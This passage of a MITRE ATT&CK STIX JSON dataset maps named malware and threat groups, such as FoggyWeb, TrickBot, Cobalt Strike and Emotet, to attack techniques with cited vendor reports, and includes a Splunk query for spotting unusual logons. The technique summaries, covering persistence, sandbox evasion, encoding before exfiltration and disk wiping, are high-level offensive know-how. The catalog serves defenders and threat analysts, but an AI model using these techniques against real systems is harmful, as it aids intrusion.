2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a945fce-862b-46ff-8ee5-b78b220803f3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}],"modified":"2019-10-15T22:51:02.891Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) checks the system for certain Registry keys.(Citation: US-CERT Volgmer 2 Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a99d32c-3f9c-4817-8103-87c7b0b60bcb","created":"2024-08-21T20:35:18.818Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T20:35:18.818Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can use `launchctl` to load a LaunchAgent for persistence.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a9d9c0a-1c8b-4f80-bdd2-9ba8394cb625","created":"2020-12-09T18:59:51.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T18:13:21.441Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) has been distributed through an AutoIt loader script.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2a9fde8d-dbec-42e9-ad73-02f80e765a91","created":"2021-11-16T15:32:34.178Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can use a dynamic XOR key and a custom XOR methodology to encode data before exfiltration. Also, [FoggyWeb](https://attack.mitre.org/software/S0661) can encode C2 command output within a legitimate WebP file.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:30:11.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2aa0dea4-ca6d-4095-8c20-9250308c3315","type":"relationship","created":"2020-11-06T18:40:38.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.565Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can track key presses with a keylogger module.(Citation: cobaltstrike manual)(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2aa6a9d6-57a0-490e-97d0-79d12119ec21","created":"2024-08-13T19:34:33.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T19:40:11.252Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used a version of [ZeroCleare](https://attack.mitre.org/software/S1151) to wipe disk drives on targeted hosts.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ab707bc-9e11-4b6e-858f-c1576f9fc3a0","type":"relationship","created":"2019-01-30T15:43:19.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:14:11.183Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can collect the victim’s IP address.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2abdb5f5-6ff1-4f05-b925-429595011475","type":"relationship","created":"2020-05-06T21:31:07.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.610Z","description":"[Okrum](https://attack.mitre.org/software/S0439)'s loader can detect presence of an emulator by using two calls to GetTickCount API, and checking whether the time has been accelerated.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ad63ab0-fb5b-4bce-8bbb-bf765d324fd6","type":"relationship","created":"2020-11-12T17:35:02.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-12T17:35:02.698Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can obtain C2 information from Google Docs.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ad83456-5794-44d5-bfd1-3c51b2925c01","created":"2021-01-20T18:48:26.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.418Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) C2 beacons for data exfiltration.(Citation: NCC Group Chimera January 2021) ","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2add2e31-58af-4e52-bdd7-5ddd295656a3","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T15:27:37.997Z","description":"Monitor for newly constructed logon behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) \n\nAnalytic 1 - Unusual logon patterns and times.\n\n index=security sourcetype IN (\"WinEventLog:Security\", \"linux_secure\", \"macos_secure\")\n(EventCode=4624 OR EventCode=4625 OR EventCode=4768 OR EventCode=4769 OR EventCode=4776 OR EventCode=4778 OR EventCode=4779 OR EventCode=5379 OR EventCode=22)\n| eval LogonType=case(\n EventCode==4624, \"Logon\",\n EventCode==4625, \"Failed Logon\",\n EventCode IN (4768, 4769), \"Kerberos\",\n EventCode==4776, \"NTLM\",\n EventCode==4778, \"Session Reconnected\",\n EventCode==4779, \"Session Disconnected\",\n EventCode==5379, \"Login Attempt\",\n EventCode==22, \"Interactive Logon\",\n true(), \"Other\"\n)\n| eval User=coalesce(user, UserName, Account_Name, user_name)\n| eval System=coalesce(ComputerName, host)\n| eval Platform=case(\n sourcetype==\"WinEventLog:Security\", \"Windows\",\n sourcetype==\"linux_secure\", \"Linux\",\n sourcetype==\"macos_secure\", \"macOS\",\n true(), \"Unknown\"\n)\n| where (date_wday!=\"saturday\" AND date_wday!=\"sunday\") AND (date_hour<9 OR date_hour>17)\n| bin _time span=1m\n| stats earliest(_time) as first_time, latest(_time) as last_time, count by User, System, LogonType, Platform\n| eval duration=last_time-first_time\n| where (LogonType=\"Logon\" AND duration<60 AND count > 1) OR (LogonType=\"Failed Logon\" AND count > 5)\n| eval isOddTime=if(date_hour<9 OR date_hour>17, \"Yes\", \"No\")\n| eval isMultipleSystems=if(count>1, \"Yes\", \"No\")\n| table first_time, last_time, duration, User, System, LogonType, Platform, count, isOddTime, isMultipleSystems\n| sort -count ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ade8c03-2395-4175-9a22-8541836f27cd","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.609Z","description":"[ChChes](https://attack.mitre.org/software/S0144) can alter the victim's proxy configuration.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ae5b107-c648-45d4-9930-dcc42adac2c3","type":"relationship","created":"2021-08-19T18:19:50.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T18:19:50.336Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) has the capability to upload collected files to C2.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2af126e3-89ef-45b4-b345-45567ef17dfa","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"source_name":"Joe Sec Trickbot","url":"https://www.joesecurity.org/blog/498839998833561473","description":"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."}],"modified":"2021-10-01T14:12:53.053Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses the Windows API call, CreateProcessW(), to manage execution flow.(Citation: S2 Grupo TrickBot June 2017) [TrickBot](https://attack.mitre.org/software/S0266) has also used Nt* API functions to perform [Process Injection](https://attack.mitre.org/techniques/T1055).(Citation: Joe Sec Trickbot)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2020-03-16T23:51:43.031Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) scripts save memory dump data into a specific directory on hosts in the victim environment.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2af5de71-33c3-49d2-9f3e-4fd90919e228","type":"relationship","created":"2021-08-02T15:48:34.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.441Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) has been executed through malicious files attached to e-mails.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2af8a4f4-fcac-4081-86f9-ba74140580dc","type":"relationship","created":"2019-04-19T15:28:04.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"}],"modified":"2020-03-27T23:05:53.649Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments.(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2afd76e6-335e-4769-8c2e-54b951753c2d","created":"2024-08-09T18:50:18.777Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T18:50:18.777Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can monitor for removable drives.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b00f3f4-ddde-4874-8315-5a5c5d671a33","type":"relationship","created":"2020-08-13T14:05:44.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:44.328Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can base64 encode and AES-128-CBC encrypt data prior to transmission.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b05b960-103a-4922-a8e3-49378bf827bf","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for newly constructed files to match an existing service executable, it could be detected and correlated with other suspicious behavior. ","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b062058-3345-4993-9715-6ad6e98dc2ad","type":"relationship","created":"2020-05-06T17:47:43.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.700Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to decrypt, load, and execute a DLL and its resources.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b07bb81-4843-423c-a29c-251169a845ce","created":"2024-08-13T20:11:50.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T19:15:07.241Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used HTTP to transfer data from compromised Exchange servers.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2b16958e-8c41-4342-87d8-f98b42548724","created":"2023-09-29T21:08:44.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"emotet_hc3_nov2023","description":"Office of Information Security, Health Sector Cybersecurity Coordination Center. (2023, November 16). Emotet Malware: The Enduring and Persistent Threat to the Health Sector. Retrieved June 19, 2024.","url":"https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T16:11:28.609Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has the ability to duplicate the user’s token.(Citation: Binary Defense Emotes Wi-Fi Spreader) For example, [Emotet](https://attack.mitre.org/software/S0367) may use a variant of Google’s ProtoBuf to send messages that specify how code will be executed.(Citation: emotet_hc3_nov2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b196fe7-93e1-4575-8818-578305fc1fae","type":"relationship","created":"2022-03-26T13:13:20.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2022-03-26T13:13:20.534Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has enumerated files and folders on all mounted drives.(Citation: CrowdStrike Ryuk January 